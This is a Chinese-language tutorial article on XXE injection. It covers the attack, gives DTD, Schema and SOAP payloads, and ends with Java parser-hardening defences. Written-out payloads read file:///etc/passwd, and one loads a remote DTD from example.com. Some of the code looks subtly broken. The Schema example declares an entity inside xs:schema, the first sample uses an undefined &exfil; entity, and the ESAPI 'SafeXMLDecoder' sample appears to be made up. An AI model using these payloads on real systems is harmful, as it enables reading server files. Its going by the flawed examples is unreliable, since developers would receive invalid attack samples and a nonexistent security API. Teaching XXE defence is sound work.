一、XXE注入概述
XML外部實體注入(External Entity Injection,簡稱XXE)是一種利用XML解析器傳遞惡意信息的攻擊技術。攻擊者通過構造惡意的XML文件,將一些外部實體注入到文件中,當服務器解析這個XML文件時,外部實體實際上是在本地進行解析,這樣就可能導致敏感數據泄露或者執行惡意代碼。
下面是一個簡單的XXE注入例子:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://example.com/xxe.dtd"> %remote; ]> <root>&exfil;</root>
在上面這段XML代碼中,攻擊者將遠程的實體文件xxe.dtd引入到了XML文件中,同時在XML文件中引用了實體「&exfil;」,這個實體如果被定義,則會讀取外部實體文件中的敏感數據。如果攻擊者成功構造惡意的外部實體文件,就可以實現XXE注入攻擊。
二、XXE注入攻擊手段
1、基於DTD的XXE攻擊
DTD(Document Type Definition)是一種約束XML文件的語法,可以用來定義合法的元素、屬性和實體引用。基於DTD的XXE攻擊,就是通過構造惡意的DTD文件,將一些惡意的外部實體引入到XML文件中,從而實現XXE注入。
下面是一個基於DTD的XXE注入攻擊的例子:
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>
在上面這段DTD代碼中,定義了一個foo元素,同時定義了一個外部實體「&xxe;」,該實體指向了文件系統中的/etc/passwd文件,如果XML文件中包含該實體,DTD解析器將會讀取/etc/passwd文件中的內容,並將其注入到XML文件中。
2、基於Schema的XXE攻擊
Schema是一種用於描述XML文檔結構的語法規範,可以用來檢驗XML文檔的正確性。基於Schema的XXE攻擊,和基於DTD的XXE攻擊類似,攻擊者同樣可以構造惡意的Schema文件,將外部實體引入到XML文件中實現注入攻擊。
下面是一個基於Schema的XXE注入攻擊的例子:
<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="foo" type="xs:string"/> <!ENTITY xxe SYSTEM "file:///etc/passwd"> </xs:schema> <foo>&xxe;</foo>
在上面這段Schema代碼中,定義了一個名為「foo」的元素和一個外部實體「&xxe;」,與DTD攻擊類似,當XML文檔中引入了這個Schema文件和外部實體時,將會讀取/etc/passwd文件的內容並注入到XML文檔中。
3、基於SOAP協議的XXE攻擊
SOAP(Simple Object Access Protocol)是一種基於XML協議的遠程調用協議,支持使用XML消息進行遠程過程調用(RPC)。基於SOAP協議的XXE攻擊,攻擊者可以通過構造惡意的SOAP消息,將外部實體注入到請求體中,從而實現XXE注入攻擊。
下面是一個基於SOAP協議的XXE注入攻擊的例子:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <foo> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <bar>&xxe;</bar> </foo> </soapenv:Body> </soapenv:Envelope>
在上面這個SOAP消息的例子中,攻擊者通過在請求體中定義DTD,並在DTD中引入了外部實體「&xxe;」,最終實現了XXE注入攻擊。
三、XXE注入防禦
防止XXE注入攻擊的主要手段是限制XML解析器的實體解析能力,以及對輸入的XML文檔進行過濾和解析檢查。
1、禁用實體解析
禁用XML解析器的實體解析功能是一種簡單有效的防禦手段,通過在解析XML文件前設置禁用實體解析的選項,可以有效避免XXE注入攻擊。
以下是Java代碼中,禁用實體解析的選項設置示例:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); DocumentBuilder builder = factory.newDocumentBuilder(); Document document = builder.parse(inputStream);
2、檢查輸入的XML文檔
對輸入的XML文檔進行過濾和解析檢查,可以防止一些已知的XXE注入攻擊。開發者可以使用現有的XML解析庫,比如JDOM、DOM4J、SAX等,進行XML文檔的解析和檢查。
以下是Java代碼中,使用JDOM進行XML文檔的解析和檢查示例:
SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD解析 builder.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部實體 builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); builder.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); Document document = builder.build(inputStream); Element root = document.getRootElement(); List elements = root.getChildren(); for(Element element : elements){ // 手動檢查每個元素 if(element.getName().equals("foo")){ String data = element.getText(); // 檢查數據是否符合要求,避免注入攻擊 } }
3、使用安全的XML解析庫
使用安全的XML解析庫,可以避免一些已知的XXE注入攻擊,比如XXE-injection漏洞實驗室推薦的安全XML庫OWASP ESAPI,該庫提供了一些安全的XML解析API,可以有效增強應用程序的安全性。
以下是使用OWASP ESAPI進行XML文件解析的Java代碼示例:
// 初始化ESAPI ESAPI.initialize(); // 獲取安全的XML解析器 SafeXMLDecoder decoder = ESAPI.validator().getSafeXMLDecoder(); // 解析XML文件 String xml = ...; // 需要解析的XML文件 Document document = decoder.parse(xml);
四、總結
XXE注入攻擊是一種利用XML解析器傳遞惡意信息的攻擊技術,攻擊者可以通過構造惡意的XML文件,將一些外部實體注入到文件中,從而導致敏感數據泄露或者執行惡意代碼。開發者可以通過禁用實體解析、檢查輸入的XML文檔、使用安全的XML解析庫等手段,提高應用程序的安全性。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/289491.html